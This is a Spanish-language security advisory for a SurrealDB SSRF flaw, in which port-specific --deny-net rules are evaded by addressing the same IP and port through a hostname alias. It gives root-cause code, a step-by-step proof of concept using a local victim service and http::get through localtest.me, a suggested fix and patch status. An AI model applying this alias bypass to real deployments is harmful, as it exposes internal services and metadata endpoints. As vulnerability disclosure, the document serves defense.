GHSA-MHV5-88P6-W4C3
Reglas --deny-net específicas de puerto eludidas mediante alias del host (hostname <-> IP): omisión de la política de salida por SSRF
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.3.0 | surrealdb · -25 d desde divulgación | |
| Divulgación | Publicada | GHSA-MHV5-88P6-W4C3 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Objetivo: github.com/surrealdb/surrealdb
Recurso afectado: coincidencia de capacidades de red `NetTarget` (`surrealdb/core/src/dbs/capabilities.rs`), tal como la consumen `Context::check_allowed_net` y el `FilteringResolver`. Verificado en el binario de la versión v3.2.0 (última release en GitHub), con código vulnerable idéntico en el crate surrealdb-core 3.2.3 (última versión estable en crates.io) y en `main` HEAD `9d9a5b0`.
Severidad: Media (~6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Debilidad: CWE-918 (Falsificación de solicitudes del lado del servidor, SSRF)
Resumen
Una regla de denegación de red específica de puerto, ya sea `--deny-net HOST:PORT` o `--deny-net IP:PORT` (por ejemplo, `--deny-net 127.0.0.1:9999`), solo se aplica a una URL cuya cadena de host coincide *literalmente* con la regla. Como la regla se almacena como `NetTarget::Host(host, Some(port))` y la comprobación de IP resuelta la compara con valores `NetTarget::IPNet` sin puerto, la denegación se evita nombrando el mismo destino de otra forma: un nombre de host que resuelve a una IP denegada, o la forma IP de un host denegado. Un llamador autenticado de las funciones `http::*` alcanza el servicio interno bloqueado, sin necesidad de redirecciones, DNS rebinding ni scripting.
Esta vulnerabilidad es hermana de GHSA-97vg-427p-8hx5 https://github.com/surrealdb/surrealdb/security/advisories/GHSA-97vg-427p-8hx5 (`--deny-net` específico de puerto descartado en una redirección HTTP, corregido en la 3.1.0). Ese aviso reforzó las denegaciones específicas de puerto en la ruta de redirección; este informe muestra que las mismas denegaciones específicas de puerto se aplican de forma insuficiente en la solicitud inicial, mediante alias del host.
Causa raíz
`--deny-net HOST:PORT` / `IP:PORT` se interpreta como `NetTarget::Host(host, Some(port))`. Dos hechos se combinan:
- `NetTarget::resolve()` asigna cada dirección resuelta a un `NetTarget::IPNet` sin puerto, descartando el puerto (`capabilities.rs` L221-L232
https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/dbs/capabilities.rs#L221-L232):
NetTarget::Host(h, p) => {
let r = lookup_host((h.to_string(), p.unwrap_or(80)))
.await?
.map(|a| NetTarget::IPNet(a.ip().into())) // <-- port discarded
.collect();
Ok(r)
}- `NetTarget::Host(host, Some(port))` solo coincide con otro `Host(_, Some(port))`; frente a un destino `IPNet` es estructuralmente `false` (`capabilities.rs` L264-L267
https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/dbs/capabilities.rs#L264-L267):
Self::Host(host, Some(port)) => match tgt {
Self::Host(tgt_host, Some(tgt_port)) => host == tgt_host && port == tgt_port,
_ => false, // <-- IPNet target never matches a port-bearing Host rule
},Por tanto, el bucle de denegación por IP resuelta de `check_allowed_net` (`context.rs` L1221-L1225) https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/ctx/context.rs#L1221-L1225 y la comprobación equivalente en el `FilteringResolver` (`net/mod.rs` L113-L123) https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/net/mod.rs#L113-L123 nunca pueden aplicar una denegación con puerto. Solo la comparación literal inicial `Host` contra `Host` la detecta, por lo que cualquier alias del host la evita:
- `--deny-net IP:PORT` se evita con un nombre de host que resuelve a esa IP.
- `--deny-net HOST:PORT` se evita con la IP, o con cualquier otro nombre de host que resuelva a la misma IP.
Las reglas de IP sin puerto (`--deny-net 127.0.0.1`, almacenadas como `IPNet/32`) son robustas, ya que coinciden directamente con el `IPNet` resuelto. El fallo está específicamente en la forma `Host` con puerto, que es precisamente el tipo de denegación que GHSA-97vg-427p-8hx5 estableció como protección válida (su ejemplo fue `deny_net = ["example.com:6379"]`). En despliegues con lista de denegación (`--allow-net` sin restricciones), se omite el filtro de direcciones privadas por IP resuelta, de modo que el destino alcanzado puede ser cualquier servicio interno.
Pasos para reproducir
Requisitos previos
- Servidor `surreal` v3.2.0 (descargado en el Paso 1)
- python3 (3.8+)
- curl
Paso 1: Descargar el binario de la versión 3.2.0 y crear un servicio víctima
mkdir /tmp/surrealdb-ssrf && cd /tmp/surrealdb-ssrf
case "$(uname -s)-$(uname -m)" in
Darwin-arm64) A=darwin-arm64 ;;
Darwin-x86_64) A=darwin-amd64 ;;
Linux-x86_64) A=linux-amd64 ;;
Linux-aarch64) A=linux-arm64 ;;
*) echo "add your platform's asset from the v3.2.0 release" ; A=linux-amd64 ;;
esac
curl -L -o surreal.tgz "https://github.com/surrealdb/surrealdb/releases/download/v3.2.0/surreal-v3.2.0.${A}.tgz"
tar xzf surreal.tgz
./surreal version
cat > victim.py <<'EOF'
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
sys.stderr.write(f"VICTIM HIT Host={self.headers.get('Host')} path={self.path}\n")
body = b"VICTIM_INTERNAL_SERVICE_REACHED"
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
HTTPServer(("127.0.0.1", 9999), H).serve_forever()
EOFPaso 2: Iniciar el servicio interno víctima en 127.0.0.1:9999
cd /tmp/surrealdb-ssrf
python3 victim.pyAbra una nueva terminal para el siguiente paso.
Paso 3: Iniciar SurrealDB con la salida permitida, pero con 127.0.0.1:9999 denegado
cd /tmp/surrealdb-ssrf
./surreal start --user root --pass root --bind 127.0.0.1:8000 --allow-all --deny-net 127.0.0.1:9999 memoryAbra una nueva terminal para el siguiente paso.
Paso 4: Demostrar que la denegación se mantiene para el destino literal, pero se evita con un alias
`localtest.me` es un nombre DNS público que resuelve a `127.0.0.1`, por lo que `http://localtest.me:9999/` apunta exactamente al destino denegado `127.0.0.1:9999`.
curl --retry 20 --retry-delay 1 --retry-connrefused http://127.0.0.1:8000/health
echo "--- [1] literal denied IP:port (expect blocked) ---"
curl -u root:root -H 'Accept: application/json' -H 'surreal-ns: t' -H 'surreal-db: t' \
-X POST http://127.0.0.1:8000/sql --data "RETURN http::get('http://127.0.0.1:9999/blocked');"
echo
echo "--- [2] hostname alias to the SAME 127.0.0.1:9999 (expect REACHED = bypass) ---"
curl -u root:root -H 'Accept: application/json' -H 'surreal-ns: t' -H 'surreal-db: t' \
-X POST http://127.0.0.1:8000/sql --data "RETURN http::get('http://localtest.me:9999/bypassed');"Salida esperada:
[{"details":{"details":{"name":"127.0.0.1:9999"},"kind":"Target"},"kind":"NotAllowed","result":"Access to network target '127.0.0.1:9999' is not allowed","status":"ERR","time":"...","type":null}]
--- [2] hostname alias to the SAME 127.0.0.1:9999 (expect REACHED = bypass) ---
[{"result":"VICTIM_INTERNAL_SERVICE_REACHED","status":"OK","time":"...","type":null}]La prueba [1] contra el destino literal `127.0.0.1:9999` es denegada; la prueba [2] contra `localtest.me:9999`, es decir, la misma IP y el mismo puerto, devuelve el cuerpo del servicio víctima, y la terminal de la víctima registra `VICTIM HIT Host=localtest.me:9999 path=/bypassed`. La regla `--deny-net 127.0.0.1:9999` fue eludida. El caso simétrico (`--deny-net localtest.me:9999` eludida mediante `http://127.0.0.1:9999/`) se reproduce de la misma forma; una regla `--deny-net 127.0.0.1` sin puerto bloquea ambos casos.
Corrección sugerida
Aplicar las reglas de denegación con puerto en la capa de IP resuelta. Se puede optar por (a) transportar el puerto de la conexión al destino resuelto, de modo que `NetTarget::resolve()` produzca `Host(IpAddr, Some(port))` en lugar de un `IPNet` sin puerto, y extender `matches()` para que una regla `Host(ip, Some(port))` coincida con un `Host(ip, Some(port))` resuelto; o bien (b) en `check_allowed_net` / `FilteringResolver`, volver a comprobar cada IP resuelta junto con el puerto de la solicitud frente a la lista de denegación. Las reglas por host sin puerto y por IP sin puerto ya se resuelven correctamente; solo la variante `Host` con puerto necesita la comparación con la IP resuelta.
Limpieza
pkill -f 'surreal start'
pkill -f victim.py
rm -rf /tmp/surrealdb-ssrfImpacto
Un operador que ejecuta SurrealDB con salida HTTP habilitada (funciones `http::*`) y se basa en reglas `--deny-net` específicas de puerto para aislar servicios internos, que es exactamente la protección que SurrealDB reforzó en la 3.1.0, no está realmente protegido. Cualquier llamador autenticado que pueda invocar `http::get` (y, por la misma ruta de código, `http::post`, `put`, `patch` y `delete`) alcanza un destino `IP:PORT` / `HOST:PORT` denegado simplemente referenciándolo con otro nombre que resuelve a la misma dirección, y recibe la respuesta del servicio interno. En el modo de lista de denegación (`--allow-net` sin restricciones) se omite el filtro de IP privadas resueltas, por lo que los servicios de loopback, RFC1918 o link-local (bases de datos, paneles de administración, proxies de metadatos de nube) bloqueados por una regla específica de puerto se vuelven accesibles.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iosurrealdb |
Corregida | 3.3.0 | -25 d | 4.0.1 no afectada |
3.3.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/surrealdb/surrealdb/security/advisories/GHSA-mhv5-88p6-w4c3Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
